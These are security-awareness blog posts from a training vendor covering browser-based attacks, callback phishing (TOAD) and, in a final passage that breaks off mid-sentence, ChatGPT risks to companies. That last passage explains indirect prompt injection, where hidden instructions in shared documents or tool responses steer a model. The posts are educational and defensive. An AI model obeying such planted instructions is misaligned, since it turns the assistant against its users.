recognition. **Strengths**: Behavioral-science rigor, public research library (SebDB), detailed behavioral analytics. **Weaknesses**: Smaller total addressable market, less AI-specific content, premium pricing. **Best for**: Enterprise security programs that want research-grounded, behavior-focused training, typically in the UK and EU. ## 7. Living Security Living Security positions as an AI-native human risk management platform. Customer logos publicly referenced include Ford, Target, Cleveland Clinic, Unilever, Merck, Lockheed Martin, and Northwestern Mutual. The platform pairs training content, phishing simulation (often through partners), and HRM dashboards designed for board-level reporting. Living Security competes primarily with KnowBe4 and Proofpoint at the Fortune 1000 level rather than with mid-market tools. The product emphasizes risk analytics and GRC integration more than content production. **Strengths**: HRM analytics, enterprise GRC fit, board-ready reporting narratives. **Weaknesses**: Low organic content presence, smaller training library than competitors, content brand is less visible. **Best for**: Fortune 1000 CISOs with heavy GRC integration needs and board reporting requirements. ## 8. Wizer Wizer is a security awareness platform with a strong freemium model. The company offers a meaningful free tier that covers foundational security topics, which makes it a common first stop for smaller teams evaluating the category. Paid tiers add phishing simulation, admin features, and compliance reporting. Content is light and quick, designed for short attention spans. Wizer is a fit for SMBs and for programs that want to pilot security training without a procurement cycle. **Strengths**: Genuine free tier, simple admin, low friction to launch. **Weaknesses**: Shallower content than enterprise platforms, lighter reporting, limited AI threat coverage. **Best for**: SMBs and teams that want to start a program in days without a sales call. **Pricing note**: Free tier plus paid tiers starting under $2 per user per month per public vendor materials. ## 9. CanIPhish CanIPhish is a phishing-simulation-first platform with a generous free tier. The product focuses on phishing templates, simulation automation, and reporting. Awareness content beyond phishing is thinner than broader platforms. CanIPhish has built a strong content-marketing flywheel around free phishing tools, which gives it organic visibility above its revenue class. Teams that mainly need phishing simulation, not a full awareness program, often find it sufficient. **Strengths**: Free phishing simulator, pay-as-you-go pricing, simple setup. **Weaknesses**: Narrow on non-phishing content, thin compliance coverage. **Best for**: SMBs and MSPs that want phishing simulation as a point solution. ## 10. MetaCompliance MetaCompliance is a UK-based human risk management platform focused on security awareness, phishing simulation, and policy management. The platform bundles training content with attestation workflows, which fits compliance-heavy programs that need evidence of policy acknowledgment. MetaCompliance is a common pick in UK and EU regulated industries, including financial services and healthcare. US brand recognition is lower than KnowBe4. **Strengths**: Policy management plus awareness, strong UK and EU compliance alignment, multilingual. **Weaknesses**: Limited AI threat coverage, US presence is smaller, legacy UI patterns in parts of the product. **Best for**: UK and EU compliance-heavy buyers who want training plus policy attestation in one tool. ## Choosing the right platform by segment Use this decision framework to narrow the shortlist quickly. **Enterprise (5,000+ seats, CISO-led buying)**. The default shortlist is KnowBe4, SoSafe (EU), and Proofpoint. Add RansomLeak if AI threat coverage or active-practice simulations are priorities. Add Living Security if board-level HRM dashboards matter more than content depth. For a direct enterprise face-off, see our [RansomLeak vs Proofpoint comparison](/blog/ransomleak-vs-proofpoint/). **Mid-market (500 to 5,000 seats)**. The best-fit platforms are RansomLeak, Hoxhunt, KnowBe4, Phished, and SoSafe. Pick RansomLeak for broader scenario coverage and [AI training](/catalogue/ai-security/). Pick Hoxhunt for adaptive phishing specifically. Pick KnowBe4 if your LMS is already their console. Pick SoSafe if you are EU-regulated. If you are weighing automated phishing-first platforms, our [RansomLeak vs Phished comparison](/blog/ransomleak-vs-phished/) covers the trade-off between full automation and scenario depth. **SMB (under 500 seats)**. The best-fit platforms are Wizer, CanIPhish, and the free tier of RansomLeak's [training catalogue](/learning/). Most SMBs over-pay for enterprise tools they cannot fully operationalize. Start small. **MSP and channel**. Look at Huntress (acquired Curricula), usecure, Phin Security, and MetaCompliance, all of which have multi-tenant dashboards and PSA integration. RansomLeak and KnowBe4 both sell through channels but are not MSP-first. For MSPs evaluating SMB-focused tools against a deeper scenario library, see our [RansomLeak vs usecure comparison](/blog/ransomleak-vs-usecure/). **Regulated industries (healthcare, finance, public sector)**. Shortlist KnowBe4, SoSafe, MetaCompliance, and RansomLeak. Audit the specific compliance frameworks in scope (HIPAA, PCI DSS, GDPR, NIS2, DORA) and verify each vendor's [compliance reporting](/catalogue/privacy-compliance/) against your evidence requirements. ## Frequently asked questions ### What is the best security awareness training platform in 2026? There is no single best platform. For enterprise buyers prioritizing library breadth, KnowBe4 is the default. For mid-market teams that want active-practice simulations and AI threat coverage, RansomLeak is the strongest fit. For EU-regulated buyers, SoSafe leads on data residency and NIS2 alignment. Match the platform to the program. ### How much should security awareness training cost? Public per-seat pricing ranges from roughly $1 per user per month at the SMB tier to over $3 per user per month at enterprise tiers, based on G2 reviews and vendor-published pricing. Enterprise contracts are typically custom and annual. The more useful cost frame is dollar per measurable behavior change, not dollar per seat. ### Does security awareness training work? The 2024 Verizon Data Breach Investigations Report continues to attribute roughly 68% of breaches to a human element. SANS Security Awareness Reports consistently find that programs producing measurable behavior change share three traits: frequent reinforcement, job-relevant content, and active practice rather than passive watching. Training that matches those criteria works. Training that does not often fails to move incident metrics. See [training effectiveness research](/blog/security-awareness-training-effectiveness/) for sources. ### What is human risk management? Human risk management (HRM) is the current category term for what used to be called security awareness training. HRM broadens the scope from compliance-style completion tracking to measurable behavior change, cross-functional risk dashboards, and targeted interventions based on employee-level risk signals. Most top vendors now position as HRM platforms. ### Which platform is best for AI threat training? RansomLeak ships the deepest dedicated [AI security catalogue](/catalogue/ai-security/), with exercises on [OWASP LLM Top 10 risks](/blog/owasp-llm-top-10/), prompt injection, [deepfake voice cloning](/blog/deepfake-social-engineering/), and [indirect prompt injection via shared documents](/blog/clawdbot-security-risks/). KnowBe4 and Living Security reference AI in positioning, but specific-attack-type training is lighter. Hoxhunt covers AI-generated phishing within its simulation engine. See [AI-powered phishing training](/blog/ai-powered-phishing/) for the broader context. ### Do these platforms support SCORM? RansomLeak, SoSafe, NINJIO, CybSafe, Living Security, and MetaCompliance all support SCORM in some form. KnowBe4 supports SCORM but operates primarily through its own console. Hoxhunt does not export training as SCORM packages. SMB tools (Wizer, CanIPhish) vary. ### How does phishing simulation fit into the platform choice? KnowBe4 and Hoxhunt have the deepest dedicated phishing simulation engines. Most other platforms include phishing simulation but treat it as one feature among several. Teams that run continuous inbox-level phishing campaigns at enterprise scale usually want a specialist. Teams that want phishing alongside broader training can pick a broader platform. See the [phishing simulation training guide](/blog/phishing-simulation-training/) for program design. ### Is free security awareness training any good? It depends on the source. RansomLeak's [100+ interactive exercises](/catalogue/) are free to try without an account and represent the same content employees see in paid deployments. Wizer's free tier is a light introduction to security topics. Marketing-driven free tools from bigger vendors (KnowBe4's Phishing Test, for example) are lead magnets rather than full training. The difference matters. See [free security awareness training](/blog/free-security-awareness-training/) for a deeper roundup. ## Bottom line The 2026 security awareness market has split into three tiers. Enterprise incumbents (KnowBe4, Proofpoint, SoSafe, Living Security) compete on library breadth and operational depth. Challengers (RansomLeak, Hoxhunt, NINJIO, CybSafe) compete on interaction design, behavioral rigor, or AI-era threat coverage. SMB and MSP tools (Wizer, CanIPhish, MetaCompliance) compete on price and channel fit. Match the platform to the program, not the other way around. If you want to feel the difference between active and passive training, run a [deepfake whaling simulation](/exercises/whaling-with-a-deepfake/), a [callback phishing exercise](/exercises/callback-phishing/), or a [GDPR breach response scenario](/exercises/gdpr-data-breach-response/) inside the [RansomLeak catalogue](/catalogue/), then compare the experience with the last video module employees sat through. For direct head-to-heads, see [RansomLeak vs KnowBe4](/blog/ransomleak-vs-knowbe4/), [RansomLeak vs SoSafe](/blog/ransomleak-vs-sosafe/), and [RansomLeak vs NINJIO](/blog/ransomleak-vs-ninjio/). For branded alternatives roundups, see [KnowBe4 alternatives](/blog/knowbe4-alternatives/) and [Hoxhunt alternatives](/blog/hoxhunt-alternatives/). For program design fundamentals, start with the [security awareness training guide](/blog/security-awareness-training-guide/) and the [human firewall training](/blog/human-firewall-training/) playbook. --- _Practice beats watching. Try a free [phishing exercise](/exercises/phishing/), [prompt injection scenario](/catalogue/ai-security/), or [ransomware response simulation](/exercises/ransomware/). Browse the full [training catalogue](/catalogue/) for 100+ interactive exercises. No sign-up, no sales pitch._ --- ### Browser Security Training Source: https://ransomleak.com/blog/browser-security-training/ An employee searches Google for a PDF converter. The first result looks right. Logo, branding, download button. She installs it. Within 48 hours, her browser credentials, saved passwords, and session tokens are exfiltrated to a server in Eastern Europe. The download page was a [poisoned search result](/exercises/seo-poisoning/) that ranked above the legitimate tool. This is not a theoretical scenario. Palo Alto Unit 42 reported in 2024 that web browsers have become the number one enterprise attack vector, involved in over 80% of initial access incidents. Your firewall, endpoint agent, and email gateway don't help much when the threat lives inside the browser itself. Browsers have quietly become the operating system of work. SaaS apps, cloud consoles, internal tools, communication platforms. Nearly everything runs in a browser tab. And every one of those tabs is a potential attack surface that most security training ignores. ## What is browser security training? Browser security training is structured education that teaches employees to recognize and avoid threats that operate within or through web browsers. It covers attack vectors like malicious extensions, autofill exploitation, notification hijacking, SEO poisoning, and unsafe download behavior. Unlike general [security awareness programs](/catalogue/security-awareness/), browser-specific training focuses on the tool employees use more than any other during their workday. According to a 2023 LayerX report, the average enterprise employee spends 85% of their working time in a browser. That makes the browser the primary interface between your workforce and your threat environment. Yet most training programs dedicate a single slide to "don't click suspicious links" and move on. The browser is also where technical controls have the least visibility. Endpoint detection sees processes and file system activity. Network monitoring sees traffic flows. But what happens inside a browser tab, which permissions get granted, which forms get submitted, which extensions read which pages, is largely opaque to your security stack. That's why the human layer matters here more than almost anywhere else. ## Why do browsers trust hidden form fields? Browser autofill is a convenience feature designed for speed. When an employee fills in their name on a web form, the browser offers to complete the rest: email, phone, address, sometimes even credit card numbers. What most people don't realize is that forms can contain hidden fields that the browser fills silently. An attacker creates a page with a visible "name" field and invisible fields for email, phone number, and address. The employee types their name. The browser populates everything else. One click submits the whole thing. The [Browser Autofill Risks exercise](/exercises/browser-autofill-risks/) walks through this exact attack, showing how hidden form fields exploit a feature most employees rely on daily. Google's Chromium team has acknowledged this as a known design tradeoff since 2018. Their position: autofill should fill all matching fields regardless of visibility, because hiding fields is a legitimate web development practice (for accessibility, for example). That means the protection has to come from user awareness, not from the browser. The practical fix isn't "disable autofill entirely." That creates friction employees will route around. Instead, teach employees to review what autofill proposes before submitting a form, and to be suspicious of pages that ask for minimal input but trigger autofill suggestions for unrelated fields. For organizations managing Chrome or Edge through group policy, you can restrict autofill to specific domains. But policy alone doesn't help employees on personal devices or unmanaged browsers. That's where training closes the gap: employees who understand the risk make better decisions regardless of which browser or device they're using. ## How do fake CAPTCHAs hijack push notifications? This one is brilliantly simple. An employee lands on a page that displays what looks like a standard "I am not a robot" CAPTCHA. Clicking "Allow" on the browser prompt doesn't verify they're human. It grants the site permission to send push notifications forever. Once granted, the attacker sends notifications that mimic system alerts: "Virus detected," "Windows update required," "VPN disconnected." Clicking any of these leads to credential phishing pages or malware downloads. The notifications persist across browser sessions and appear even when the site isn't open. Our [Browser Notification Abuse exercise](/exercises/browser-notification-abuse/) simulates this attack so employees can see the manipulation before encountering it in the wild. Kaspersky's 2023 web threat report found that notification abuse campaigns increased by 42% year over year, with enterprise users being targeted specifically through work-related lures. The fix is technically simple (revoke notification permissions in browser settings), but employees first need to understand that they were tricked. The deeper problem is that browser permission prompts all look the same. "Allow notifications?" uses the same dialog pattern as "Allow camera access?" or "Allow location?" Employees who click "Allow" without reading have been trained by years of cookie consent banners and pop-ups to dismiss dialogs as fast as possible. Reversing that instinct is one of the hardest parts of browser security training. The attack also exploits a timing gap. The moment between landing on a page and thinking critically about it is short. Attackers fill that gap with urgency: "Verify you're human to continue." By the time the employee realizes the CAPTCHA was fake, the permission is already granted and the site is already queued to send notifications. ## What makes browser extensions so dangerous? Extensions operate with broad permissions that most users never review. A grammar-checking extension that requests "read and change all your data on all websites" has, by definition, the ability to read every page you visit, capture every form you submit, and exfiltrate session cookies for every service you're logged into. The 2024 Spin.AI Browser Extension Risk Report analyzed over 300,000 browser extensions and found that 51% were rated high risk. Not because they're all malicious. Many are simply poorly maintained, with overly broad permissions and no security audit history. But the malicious ones hide in plain sight. The [Browser Extension Safety exercise](/exercises/browser-extension-safety/) teaches employees to evaluate permissions, spot red flags in extension listings, and understand what "access to all site data" actually means. Supply chain attacks through extensions are a growing concern. In December 2024, Cyberhaven's Chrome extension was compromised after a phishing attack targeted the developer. The attacker pushed a malicious update to all 400,000 users that harvested Facebook session tokens and advertising credentials. The compromised version was live for over 24 hours before detection. This wasn't a fake extension. It was a legitimate tool that was weaponized through its own update mechanism. Employees should evaluate extensions the same way they'd evaluate a stranger asking for their house keys. Check the developer's identity. Read recent reviews for reports of suspicious behavior. Question whether the permissions match the stated functionality. Periodic review matters just as much as initial vetting. An extension that was safe six months ago may have been sold to a new owner or had its update pipeline compromised. The Chrome Web Store has a documented history of legitimate extensions being acquired by advertisers or data brokers who add tracking code in the next update. Employees who installed the original version never get a second permission prompt. The Duo Labs "CRXcavator" project found that 35% of Chrome extensions hadn't been updated in over two years, meaning known vulnerabilities go unpatched indefinitely. ## How do poisoned search results bypass employee instincts? Employees trust search engines. If Google ranks a page first, it must be legitimate. Attackers exploit that trust through SEO poisoning, using techniques like keyword stuffing, link farming, and expired domain hijacking to push malicious pages into top search results. The targets are predictable: software downloads, IT documentation, login pages for popular SaaS tools. Sophos reported in 2024 that SEO poisoning campaigns targeting enterprise software downloads increased by 60% compared to the previous year. The [SEO Poisoning Awareness exercise](/exercises/seo-poisoning/) shows employees how to distinguish real download pages from fakes, even when the fake ranks higher in results. Paid search ads make this worse. Attackers buy ads for brand keywords like "Slack download" or "Zoom installer," and the ad appears above organic results. Google's own Threat Analysis Group documented multiple campaigns in 2023 where malicious ads for popular software led to info-stealer malware. Employees who click the first result without checking the URL are doing exactly what the attacker paid for. This is closely related to [typosquatting](/blog/typosquatting-awareness/), where attackers register domains like "slacck.com" or "githb.com" to catch mistyped URLs. The difference is intent: typosquatting waits for mistakes, while SEO poisoning actively lures employees through legitimate search behavior. Both exploit the same underlying gap: employees don't verify the domain they've landed on before interacting with the page. Teach employees one simple habit: before downloading anything, check the domain in the address bar against the software vendor's official site. If the download is hosted on a domain you don't recognize, go find the vendor's real site and download from there directly. Ten seconds of verification prevents hours of incident response. IT teams can help by maintaining an internal directory of approved software download links. When employees need a tool, they check the directory instead of searching Google. This removes the search engine from the trust chain entirely for the most common downloads. ## What does effective browser security training look like? Compliance-style training that lectures employees about browser settings is mostly wasted time. People forget configuration instructions within days. What sticks is the visceral experience of watching an attack succeed against you. Interactive exercises work because they create emotional memory. An employee who watches hidden form fields silently capture their data in a [simulated autofill attack](/exercises/browser-autofill-risks/) develops a gut reaction to autofill prompts. That reaction persists longer than any policy document. Similarly, practicing [safe browsing and download habits](/exercises/safe-browsing-and-downloads/) in a controlled environment builds reflexes that transfer to daily work. The training should cover five distinct areas: autofill and form behavior, extension evaluation and hygiene, notification permission management, search result verification, and [HTTPS literacy](/exercises/https-and-website-security/) (understanding what the padlock does and doesn't guarantee). Each topic is specific enough to teach in a 10-minute module but connected enough that employees start seeing browser interactions as a unified attack surface. Frequency matters more than duration. A 10-minute browser security exercise every month produces better outcomes than a 90-minute annual course, according to the 2023 SANS Security Awareness Report. Spacing the topics out gives employees time to apply what they've learned before the next module introduces new material. Role-specific depth helps too. Developers need to understand how their own extensions affect other people's browsers. Finance teams need extra focus on form-based attacks that target payment workflows. Executives, who are often the least willing to restrict browser functionality, need to see how their browsing habits create high-value targets. Measuring retention is straightforward. Run a simulated SEO poisoning page or a fake notification prompt quarterly and track the response rate over time. If the number isn't improving, the training isn't sticking and needs a different approach. ## Where does browser security fit in a broader program? Browser threats don't exist in isolation. A [phishing email](/blog/phishing-detection/) drops the employee on a malicious page where a browser-based attack takes over. A [shadow IT tool](/blog/shadow-it-security-risks/) installs a browser extension with excessive permissions. A colleague shares a link over chat that leads to a poisoned download page. Effective programs layer browser training with [email security](/blog/email-security-training/), [mobile security](/blog/mobile-security-training/), and [phishing recognition](/exercises/phishing/) to cover the full attack chain. Browser-specific training fills the gap that general awareness programs leave open. The IBM X-Force Threat Intelligence Index 2024 found that 30% of incidents involving valid credential abuse traced back to browser-based initial access, not email. That's a significant share of breaches that email-focused training can't address. Organizations in regulated industries should also consider how browser-based data exposure intersects with [compliance requirements](/compliance/). An employee who autofills personal data into an unauthorized form is a potential data handling violation under GDPR and CCPA, regardless of whether the form was malicious. The attack chains are getting more creative too. An attacker sends a [phishing email](/exercises/phishing/) that links to a legitimate-looking page. That page requests notification permissions. The employee grants them. Weeks later, a fake "IT Security Alert" notification leads to a credential harvesting page. No single training module catches this. Only a program that connects browser, email, and social engineering training gives employees the full picture. ## How do you measure whether browser training is working? The clearest signal is incident volume. Track browser-related security tickets before and after training rollout. Extension audit findings, notification permission abuse reports, and malware installations traced to web downloads all provide concrete numbers. | Metric | Baseline (pre-training) | Target (6 months) | Strong program | |--------|------------------------|--------------------|----------------| | Unauthorized extensions per audit | 15-30 per 100 employees | Under 10 | Under 5 | | Notification permission abuse incidents | Unreported | Reported within hours | Blocked by policy | | Malicious download incidents | Monthly | Quarterly | Rare | | Employee-reported suspicious sites | Rare | Weekly | Part of culture | Simulation results also tell a story. If you run periodic exercises where employees encounter fake download pages or permission prompts, track how the response rate changes over time. A drop from 25% to 8% in click-through on simulated SEO poisoning pages tells you more than any satisfaction survey. Don't overlook qualitative signals. When employees start Slacking the security team about a suspicious extension they found, or asking IT whether a particular download site is legitimate before installing anything, the training is working. Behavior change shows up in questions before it shows up in metrics. One underused approach: ask employees to screenshot their browser extension lists during training and compare against a company-approved baseline. The gap between what people think they have installed and what's actually running is consistently surprising. It turns an abstract risk into something personal and concrete. ## What should you do this week? Start with the obvious: audit browser extensions across your organization. If you don't have visibility into what extensions employees have installed, you don't have browser security. Tools like CRXcavator or Spin.AI provide free extension risk scoring. Next, set a browser notification policy. Most employees don't need push notifications from any website to do their job. Chrome, Edge, and Firefox all support managed policies that block notification requests by default while allowing a whitelist for specific domains. This one configuration change eliminates an entire attack category. Then give employees hands-on experience with the attacks targeting them. The [Browser Autofill Risks](/exercises/browser-autofill-risks/), [Browser Extension Safety](/exercises/browser-extension-safety/), [Browser Notification Abuse](/exercises/browser-notification-abuse/), and [SEO Poisoning Awareness](/exercises/seo-poisoning/) exercises each take under 10 minutes and cover the highest-risk browser attack vectors. The browser is the most used and least trained-for tool in your organization. Closing that gap doesn't require a massive program. It requires specific, targeted exercises that show employees what these attacks look like before they encounter them at work. Browse our full [security awareness training catalogue](/catalogue/security-awareness/) for the complete set of browser and web security exercises. --- ### Callback Phishing (TOAD): No Links, All Danger Source: https://ransomleak.com/blog/callback-phishing/ You get an email from "Norton LifeLock" confirming your annual renewal at $499.99. You did not buy Norton LifeLock. There is no link to click, no attachment to open. Just a phone number to call if "this charge was made in error." So you call it. The person who answers sounds professional, patient, and genuinely helpful. They ask you to visit a website and download a "cancellation tool" so they can process your refund. What you are actually downloading is remote access software. Within minutes, the person on the other end controls your machine. No malicious link was clicked. No attachment was opened. Your email security caught nothing because there was nothing to catch. This is callback phishing, and it is one of the fastest-growing attack types in corporate environments. ## What is callback phishing? Callback phishing is a phishing technique where the email itself contains no malicious payload. No links, no attachments, no macros. Instead, it includes a phone number and a convincing reason to call it. The attack happens entirely over the phone. The security industry calls this a TOAD attack: Telephone-Oriented Attack Delivery. The term was coined to describe the hybrid nature of the technique. It starts in your inbox but finishes on the phone, combining the reach of email phishing with the persuasive power of live [social engineering](/blog/social-engineering-attacks/). Proofpoint's 2023 threat data reported that TOAD attacks peaked at 13 million messages per month. The BazaCall campaigns that popularized the technique in 2021 have since spawned dozens of copycat operations, and the model has been adopted by ransomware affiliates, business email compromise groups, and state-sponsored actors. ## Why callback phishing bypasses email security Traditional email security works by scanning for known threats: malicious URLs, dangerous attachments, suspicious sender domains, and signature-matched malware. Callback phishing contains none of these. The email is text. Plain, clean text with a phone number. There is no URL for a web proxy to inspect. No attachment for a sandbox to detonate. No encoded payload for a pattern matcher to flag. The email passes SPF, DKIM, and DMARC checks because the attacker often sends it from a legitimate bulk email service. This is not a flaw in your security tools. It is a limitation of what automated systems can detect. The malicious intent lives in the phone call, not the email. And your email gateway cannot listen to phone calls. Some advanced email security platforms have started flagging emails that contain phone numbers but no other links as potentially suspicious. But these detections produce high false-positive rates because plenty of legitimate business emails match that same pattern. Your IT department sends password reset instructions. Your insurance provider sends policy updates. Your bank sends fraud alerts. All with phone numbers, all without links. The attacker's message looks identical to these legitimate communications. That is the point. ## How a callback phishing attack unfolds The attack follows a consistent three-stage pattern. Understanding each stage helps you recognize the technique before it reaches the dangerous part. ### Stage 1: The bait email The email impersonates a well-known brand or service. Common pretexts include: - **Subscription renewal.** "Your annual subscription to [Norton/McAfee/Geek Squad] has been renewed at $349.99. Call to cancel." - **Unauthorized charge.** "A payment of $499.99 was processed from your account. If you did not authorize this, call immediately." - **Account suspension.** "Your [Microsoft 365/Adobe/Amazon] account will be deactivated in 48 hours. Call to verify your identity." - **IT department notice / [tech support scam](/exercises/tech-support-scams/).** "A security update requires manual verification. Contact the help desk at the number below." The dollar amounts are chosen carefully. High enough to cause alarm, but not so high that they seem implausible. $299 to $499 is the sweet spot. Notice what is missing: there is no link offering an easy digital resolution. The phone number is presented as the only way to fix the problem. This forces the target onto the attacker's preferred channel, where social engineering works best. ### Stage 2: The phone call When the target calls, the attacker runs a polished script. They have practiced this. Many TOAD operations employ actual call center setups with hold music, automated greetings, and multiple "agents" to create the illusion of a real customer service operation. The caller is told the charge was indeed a mistake and that they will process a refund. But first, the "agent" needs to verify the account or "process the cancellation" on the target's computer. The manipulation techniques used during the call are borrowed directly from [vishing](/blog/vishing-awareness/) playbooks: - **Scripted empathy.** "I completely understand your frustration. Let me fix this for you right now." - **False reassurance.** "This is a routine process. Thousands of customers go through this every day." - **Controlled urgency.** "I can cancel this right now, but if we don't process it today, the charge becomes permanent." - **Technical jargon.** The agent uses terms like "back-end verification" and "secure cancellation protocol" to make the process sound legitimate. ### Stage 3: The payload The caller is directed to download software that gives the attacker remote access to their computer. Common tools include AnyDesk, TeamViewer, and ScreenConnect, all legitimate remote desktop applications that will not be flagged by antivirus. Once connected, the attacker works fast. Common objectives include: - Installing persistent malware that survives reboots - Harvesting credentials from browsers and password managers - Deploying ransomware across the network - Stealing documents, financial data, or intellectual property - Establishing a backdoor for future access In some variants, the attacker skips the software download entirely. Instead, they walk the target through handing over login credentials, MFA codes, or banking information directly over the phone. ## Who gets targeted Callback phishing targets everyone, but some roles face higher risk. **Finance and accounting teams** receive the bulk of fake invoice and charge confirmation emails. These teams process real invoices daily, so a fraudulent one does not immediately register as unusual. The attacker only needs the pretext to feel routine enough that someone calls instead of deleting. **Administrative assistants and office managers** are targeted because they handle vendor communications and are conditioned to resolve billing issues quickly. An email about an "unauthorized charge" on a corporate card is exactly the kind of thing they would follow up on. **IT help desk staff** are targeted with reverse-TOAD attacks, where the attacker calls the help desk pretending to be an employee. But they are also targeted as victims through emails impersonating security tool vendors with "license renewal" pretexts. **New employees** are especially vulnerable because they have not yet learned which vendors their company uses, which services are legitimate, and which billing patterns are normal. They are also less likely to question an email when they are still building organizational context. ## How to identify callback phishing emails The good news: callback phishing emails share recognizable patterns if you know what to look for. **An invoice or charge you did not expect.** This is the most common trigger. If you did not purchase a service, you are not being charged for it. Companies do not randomly bill strangers. **A phone number as the only response option.** Legitimate companies always provide multiple ways to manage your account: website, app, email support, chat. An email that offers only a phone number for resolution is suspicious by design. **No account-specific details.** Callback phishing emails rarely include your actual name, account number, or transaction history. They use generic language because the same email goes to thousands of people. **Brand impersonation without brand infrastructure.** The email may use a company's logo, but the sender address does not match their actual domain. The phone number is not the one listed on the company's real website. **Urgency around a deadline.** "Call within 24 hours or the charge becomes permanent." Real companies do not set arbitrary deadlines for disputing charges. Consumer protection laws guarantee dispute windows measured in weeks and months, not hours. ## What to do when you receive one **Do not call the number in the email.** This should be the default response to any unsolicited communication that includes a phone number and asks you to act urgently. If you believe the charge might be real, look up the company's actual phone number from their official website and call that instead. **Check your actual accounts.** Log into the real service's website directly (not through any link in the email). If there is no charge on your account, the email is fraudulent. Delete it and move on. **Report it to your security team.** Forward the email to your company's phishing reporting address. Even if you recognized it immediately, your security team needs to know these emails are landing in inboxes. They may need to warn others or adjust email filters. **Do not engage at all.** Calling to "waste the scammer's time" or "see what happens" is not harmless. You confirm your phone number works and that you respond to these emails. Some TOAD operations record calls and use voice samples for deepfake generation. Our [callback phishing exercise](/exercises/callback-phishing/) walks you through identifying these emails in a realistic simulation, including the decision points most people get wrong. ## Callback phishing vs standard phishing The two attacks target different cognitive weaknesses. | | Standard phishing | Callback phishing | |---|---|---| | Delivery | Email with malicious link or attachment | Email with phone number only | | Malicious content | In the email itself | Delivered over the phone | | Email filter detection | Moderate to high | Very low | | Attack channel | Digital only | Hybrid (email + phone) | | Attacker effort per target | Low | Moderate to high | | Social engineering depth | Shallow (one click) | Deep (live conversation) | | Success rate | Lower, relies on impulse clicks | Higher, exploits trust built in conversation | Standard [phishing](/blog/phishing-detection/) is a volume game. Send a million emails, get a fraction of a percent to click. Callback phishing trades volume for depth. Fewer targets, but each one receives a more convincing, personalized attack. The distinction matters for training. Employees who have learned to spot suspicious links may still call a phone number in a fake invoice email. The detection skills are different because the attack vector is different. ## Callback phishing and ransomware TOAD attacks have become a preferred initial access method for ransomware groups. The BazaCall campaigns, operated by the threat actors behind TrickBot and Conti, pioneered the model: send the email, answer the call, guide the target through installing a trojan, then deploy ransomware once inside the network. The reason ransomware groups favor this technique is simple. Email-delivered malware faces increasingly effective automated defenses. Endpoint detection catches known malware signatures. Sandboxes detonate suspicious attachments. URL filtering blocks known-bad domains. Callback phishing sidesteps all of it. The target downloads a legitimate remote access tool voluntarily. No signature to match. No sandbox to trigger. The attacker gets hands-on-keyboard access without tripping a single automated alert. From there, the [ransomware playbook](/blog/ransomware-awareness-training/) is standard. Reconnaissance, credential harvesting, lateral movement, data exfiltration, and encryption. The difference is just how they got in. ## Training employees on callback phishing Most security awareness programs focus heavily on link-based phishing. Employees learn to hover over URLs, check sender addresses, and avoid clicking suspicious attachments. These are valuable skills, but they do not prepare anyone for an attack that contains none of those elements. Callback phishing training needs to address the specific patterns of this attack type. **Teach the "no link" red flag.** An email about a financial transaction that provides only a phone number is suspicious specifically because it avoids the digital channels where security tools operate. Make employees conscious of this absence. **Practice phone-based skepticism.** The same critical thinking people apply to emails needs to extend to phone conversations. Just because someone sounds professional and uses your company's name does not mean they are legitimate. Our [vishing awareness exercise](/exercises/vishing/) covers these phone-based social engineering techniques. **Reinforce the "look it up yourself" habit.** If an email mentions a charge, look up the company's actual phone number independently. If an email claims to be from your IT department, call the help desk using the number you already have. Never use contact information provided in an unsolicited message. **Include callback phishing in your exercise rotation.** Employees need to encounter TOAD-style pretexts in training, not just traditional link-based phishing. The [callback phishing exercise](/exercises/callback-phishing/) simulates a realistic fake invoice scenario so employees can practice the detection and response workflow before they face a real one. --- *Experience a callback phishing attack without the consequences. [Try our free callback phishing exercise](/exercises/callback-phishing/) and practice identifying TOAD emails before the phone rings. You can also explore our full [security awareness training catalogue](/catalogue/security-awareness/) for exercises on vishing, social engineering, and phishing detection.* --- ### ChatGPT Security Risks for Enterprise Teams Source: https://ransomleak.com/blog/chatgpt-security-risks/ ChatGPT is now inside most enterprises, whether security teams approved it or not. The productivity gains are real, and so are the risks. Data leaves the building one prompt at a time. Hallucinated code ships to production. Prompt injection turns a helpful assistant into an exfiltration channel. Auditors notice. This is the security posture to understand before you draft another policy. ## What are the security risks of ChatGPT at work? ChatGPT security risks are the confidentiality, integrity, and compliance exposures that arise when employees use OpenAI's chat interface, API, or Enterprise tier in the course of business. They range from accidental data leakage through prompts to manipulated outputs, hallucinated facts, and shadow AI sprawl that procurement has never approved. The risks are not hypothetical. Samsung Semiconductor banned consumer ChatGPT in May 2023 after three separate employee incidents leaked proprietary code, meeting notes, and chip yield data to OpenAI in under a month. Apple, JPMorgan, Bank of America, Verizon, Amazon, Goldman Sachs, and Deutsche Bank followed with restrictions within weeks. A 2023 Cyberhaven analysis of 1.6 million knowledge workers found that 11% of the content employees pasted into ChatGPT contained confidential information. Treat ChatGPT as another SaaS application that happens to receive unstructured text input. The same controls you already apply to cloud storage and code repositories need to apply here, adjusted for the fact that the input is natural language and the output is generated content that employees trust more than they should. ## The 8 biggest ChatGPT risks for enterprises ### 1. Data leakage through copy-paste into prompts The most common and most expensive ChatGPT risk. An engineer pastes a failing code snippet to debug it. A product manager drops the Q3 roadmap in to generate an exec summary. A customer success rep feeds in raw support tickets to draft a knowledge-base article. Each paste lands on OpenAI's servers and, depending on the plan tier and account settings, may be retained for model improvement or operational review. Consumer ChatGPT and ChatGPT Team retain prompts by default unless history is turned off. ChatGPT Enterprise and Edu do not use customer content to train OpenAI models per the current OpenAI Enterprise privacy documentation, but the data still flows to OpenAI infrastructure and sits in prompt logs. "We use ChatGPT Enterprise" is a better posture than unmanaged accounts, but it does not mean sensitive data can travel freely. See [AI data leakage for employees](/blog/ai-data-leakage-employees/) for the fuller case. ### 2. Prompt injection in uploaded documents Prompt injection is the highest-ranked risk in the [OWASP Top 10 for LLM Applications](/blog/owasp-llm-top-10/), and ChatGPT is as vulnerable to it as any other LLM. An attacker embeds hidden instructions in a document, a web page, or a PDF. When an employee asks ChatGPT to summarize the file, the model follows the hidden instructions instead of, or in addition to, the user's request. Indirect injection is the dangerous variant. The attacker does not need access to the chat itself. They just need to place poisoned content somewhere the model will read it: a crafted Jira ticket, a doctored PDF shared over email, a response from a third-party API that a plugin consumes. Anthropic disclosed in November 2025 that a state-sponsored group weaponized Claude Code with these techniques against more than 30 organizations, and the same attack surface exists in ChatGPT. Walk the [prompt injection exercise](/exercises/clawdbot-prompt-injection/) to see how the pattern actually works. ### 3. Hallucinated code with real vulnerabilities ChatGPT produces code that compiles, passes review at a glance, and contains subtle security bugs. Insecure random number generation, hard-coded credentials, 